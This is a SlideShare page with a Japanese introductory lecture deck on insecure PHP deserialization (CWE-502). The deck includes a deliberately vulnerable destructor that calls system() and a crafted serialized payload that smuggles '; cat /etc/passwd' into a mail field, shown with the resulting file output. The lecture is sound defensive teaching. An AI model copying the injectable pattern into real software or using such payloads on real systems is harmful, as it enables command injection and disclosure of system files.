SlideShare a Scribd company logo
1 of 19
安全でないデシリアライゼーション(CWE-502)入門
~基礎編~
EGセキュアソリューションズ株式会社
代表取締役 徳丸 浩
2
OWASP Top 10 – 2017 の内容
3
項番 内容
A1 インジェクション
A2 認証の不備
A3 機微な情報の露出
A4 XML外部エンティティ参照(XXE)
A5 アクセス制御の不備
A6 不適切なセキュリティ設定
A7 クロスサイトスクリプティング(XSS)
A8 安全でないデシリアライゼーション
A9 既知の脆弱性のあるコンポーネントの使用
A10 不十分なロギングとモニタリング
New
安全でないデシリアライゼーション(CWE-502)とは
4
• クッキー等からシリアライズデータを送り込み、任意のオブジェクトを
メモリ内に生成
• オブジェクトが破棄されるタイミングでデストラクタが実行される
• オブジェクトを巧妙に組み合わせることにより、攻撃を実行
© 2016-2020 Hiroshi Tokumaru
PHPのコンストラクタ・デストラクタ超入門
© 2016-2020 Hiroshi Tokumaru 5
クラス・コンストラクタ・デストラクタ
<?php
class A {
public function __construct() { // コンストラクタ
echo "** コンストラクタ実行n"; // コンストラクタはnewの際に呼ばれる
}
public function __destruct() { // デストラクタ
echo "** デストラクタ実行n"; // デストラクタはオブジェクトが開放された
} // 際に呼ばれる
}
echo "** プログラム開始n";
$a = new A();
echo "** プログラム終了n";
© 2016-2020 Hiroshi Tokumaru 6
クラス・コンストラクタ・デストラクタ
<?php
class A {
public function __construct() {
echo "** コンストラクタ実行n";
}
public function __destruct() {
echo "** デストラクタ実行n";
}
}
echo "** プログラム開始n";
$a = new A();
echo "** プログラム終了n";
© 2016-2020 Hiroshi Tokumaru 7
** プログラム開始
** コンストラクタ実行
** プログラム終了
** デストラクタ実行
実行結果
オブジェクトが参
照されなくなると
デストラクタが実
行される
シリアライズ入門
© 2016-2020 Hiroshi Tokumaru 8
シリアライズとは?
• serializeは「一列にする」という意味
• シリアライズは、オブジェクトや配列など、構造を持ったデータを
「バイト列」に変換して、伝送や蓄積しやすい形式にすること
• デシリアライズは、シリアライズしたバイト列を元に戻すこと
© 2016-2020 Hiroshi Tokumaru 9
以下のクラスをシリアライズしてみる
<?php
class B {
public $name;
public function __construct($name) {
$this->name = $name; // オブジェクトに名前をつける
}
public function __destruct() {
echo "** {$this->name}は破棄されましたn"; // デストラクタを確認
}
}
$b = new B('hoge');
echo serialize($b), PHP_EOL;
© 2016-2020 Hiroshi Tokumaru 10
O:1:"B":1:{s:4:"name";s:4:"hoge";}
** hogeは破棄されました
実行結果
シリアライズ結果
先の結果をデシリアライズする
<?php
class B {
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __destruct() {
echo "** {$this->name}は破棄されましたn";
}
}
$s = 'O:1:"B":1:{s:4:"name";s:4:"hoge";}';
var_dump(unserialize($s));
© 2016-2020 Hiroshi Tokumaru 11
object(B)#1 (1) {
["name"]=>
string(4) "hoge"
}
** hogeは破棄されました
実行結果
デストラクタが実行された
生成されたオブジェクト
デシリアライズの問題点
• 振り返り
– シリアライズ: オブジェクトや配列などをバイト列に変換する
– デシリアライズ: シリアライズ結果から元の形式に戻すこと
• 外部から受け取ったバイト列をデシリアライズすると、任意のクラス
のオブジェクトが作れる
• ただし、クラスは既存のものに限る
• オブジェクトをデシリアライズすると、最終的にオブジェクトのデス
トラクタが呼ばれる
• デストラクタによって悪いことができる場合がある
• 攻撃にあたっては、既存のクラス定義の中で「どこまでできるか」が
問題になる
© 2016-2020 Hiroshi Tokumaru 12
<?php
class C { // 指定したメールアドレスにデストラクタでメール送信する
public $mail;
public function __construct($mail) {
$this->mail = $mail;
}
public function __destruct() {
system("/usr/sbin/sendmail {$this->mail} < ./template.txt");
}
}
$c = new C('alice@example.jp');
echo serialize($c), PHP_EOL;
脆弱なスクリプト例(極端な例…まずはシリアライズ側)
© 2016-2020 Hiroshi Tokumaru 13
O:1:"C":1:{s:4:"mail";s:16:
"alice@example.jp";}
実行結果
シリアライズ結果
<?php
class C {
public $mail;
public function __construct($mail) {
$this->mail = $mail;
}
public function __destruct() {
system("/usr/sbin/sendmail {$this->mail} < ./template.txt");
}
}
// $s は実際には外部からの文字列
$s = 'O:1:"C":1:{s:4:"mail";s:16:"alice@example.jp";}';
var_dump(unserialize($s));
脆弱なスクリプト例(デシリアライズ側:正常系)
© 2016-2020 Hiroshi Tokumaru 14
object(C)#1 (1) {
["mail"]=>
string(16) "alice@example.jp"
}
実行結果
デシリアライズ結果
このメールアドレスにメール送信される
<?php
class C {
public $mail;
public function __construct($mail) {
$this->mail = $mail;
}
public function __destruct() {
system("/usr/sbin/sendmail {$this->mail} < ./template.txt");
}
}
// $s は実際には外部からの文字列
$s = 'O:1:"C":1:{s:4:"mail";s:17:"; cat /etc/passwd";}';
var_dump(unserialize($s));
脆弱なスクリプト例(デシリアライズ側: 攻撃例)
© 2016-2020 Hiroshi Tokumaru 15
object(C)#1 (1) {
["mail"]=>
string(17) "; cat /etc/passwd"
}
実行結果
デシリアライズ結果。この結果が下記
が実行される
system("/usr/sbin/sendmail ; cat /etc/passwd < ./template.txt
/etc/passwd が表示された
object(C)#1 (1) {
["mail"]=>
string(17) "; cat /etc/passwd"
}
sendmail: fatal: ockeghem(1000): Recipient addresses must be
specified on the command line or via the -t option
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
# 以下略
© 2016-2020 Hiroshi Tokumaru 16
安全でないデシリアライゼーション(CWE-502)とは(再掲)
17
• クッキー等からシリアライズデータを送り込み、任意のオブジェクトを
メモリ内に生成
• オブジェクトが破棄されるタイミングでデストラクタが実行される
• オブジェクトを巧妙に組み合わせることにより、攻撃を実行
© 2016-2020 Hiroshi Tokumaru
次のステップに向けて
• 安全でないデシリアライゼーションの攻撃方法をわかりやすい例で説
明しました
• わかりやすい代わりに、ちょっと「わざとらしい」ですね!
わざとらしくない例は次回説明する予定です
• チャンネル登録してお待ち下さい (_ _)
徳丸浩のウェブセキュリティ講座
https://j.mp/web-sec-study
© 2016-2020 Hiroshi Tokumaru 18
徳丸浩へのお仕事の依頼は
EGセキュアソリューションズ株式会社まで
https://www.eg-secure.co.jp/
チャンネル登録お願いします
徳丸浩のウェブセキュリティ講座
https://j.mp/web-sec-study
© 2020 Hiroshi Tokumaru 19

More Related Content

More from Hiroshi Tokumaru

SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021Hiroshi Tokumaru
 
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するHiroshi Tokumaru
 
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証するHiroshi Tokumaru
 
SQLインジェクション再考
SQLインジェクション再考SQLインジェクション再考
SQLインジェクション再考Hiroshi Tokumaru
 
徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入するHiroshi Tokumaru
 
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方Hiroshi Tokumaru
 
XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門Hiroshi Tokumaru
 
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題Hiroshi Tokumaru
 
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)Hiroshi Tokumaru
 
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門Hiroshi Tokumaru
 
安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018Hiroshi Tokumaru
 
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみようデバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみようHiroshi Tokumaru
 
若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座Hiroshi Tokumaru
 
ウェブセキュリティの常識
ウェブセキュリティの常識ウェブセキュリティの常識
ウェブセキュリティの常識Hiroshi Tokumaru
 
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則Hiroshi Tokumaru
 
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門Hiroshi Tokumaru
 
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりHiroshi Tokumaru
 
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くHiroshi Tokumaru
 
安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016Hiroshi Tokumaru
 

More from Hiroshi Tokumaru (20)

SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
 
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
 
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
 
SQLインジェクション再考
SQLインジェクション再考SQLインジェクション再考
SQLインジェクション再考
 
徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する
 
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
 
XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門
 
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
 
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
 
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門
 
安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018
 
秀スクリプトの話
秀スクリプトの話秀スクリプトの話
秀スクリプトの話
 
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみようデバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
 
若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座
 
ウェブセキュリティの常識
ウェブセキュリティの常識ウェブセキュリティの常識
ウェブセキュリティの常識
 
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
 
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
 
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かり
 
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
 
安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016
 

Recently uploaded

PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000Shota Ito
 
新人研修のまとめ 2024/04/12の勉強会で発表されたものです。
新人研修のまとめ       2024/04/12の勉強会で発表されたものです。新人研修のまとめ       2024/04/12の勉強会で発表されたものです。
新人研修のまとめ 2024/04/12の勉強会で発表されたものです。iPride Co., Ltd.
 
IoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptxIoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptxAtomu Hidaka
 
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。iPride Co., Ltd.
 
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略Ryo Sasaki
 
20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directory20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directoryosamut
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムsugiuralab
 
Postman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By DanielPostman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By Danieldanielhu54
 
UPWARD_share_company_information_20240415.pdf
UPWARD_share_company_information_20240415.pdfUPWARD_share_company_information_20240415.pdf
UPWARD_share_company_information_20240415.pdffurutsuka
 

Recently uploaded (9)

PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000
 
新人研修のまとめ 2024/04/12の勉強会で発表されたものです。
新人研修のまとめ       2024/04/12の勉強会で発表されたものです。新人研修のまとめ       2024/04/12の勉強会で発表されたものです。
新人研修のまとめ 2024/04/12の勉強会で発表されたものです。
 
IoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptxIoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptx
 
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
 
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
 
20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directory20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directory
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
 
Postman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By DanielPostman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By Daniel
 
UPWARD_share_company_information_20240415.pdf
UPWARD_share_company_information_20240415.pdfUPWARD_share_company_information_20240415.pdf
UPWARD_share_company_information_20240415.pdf
 

introduction to unsafe deserialization part1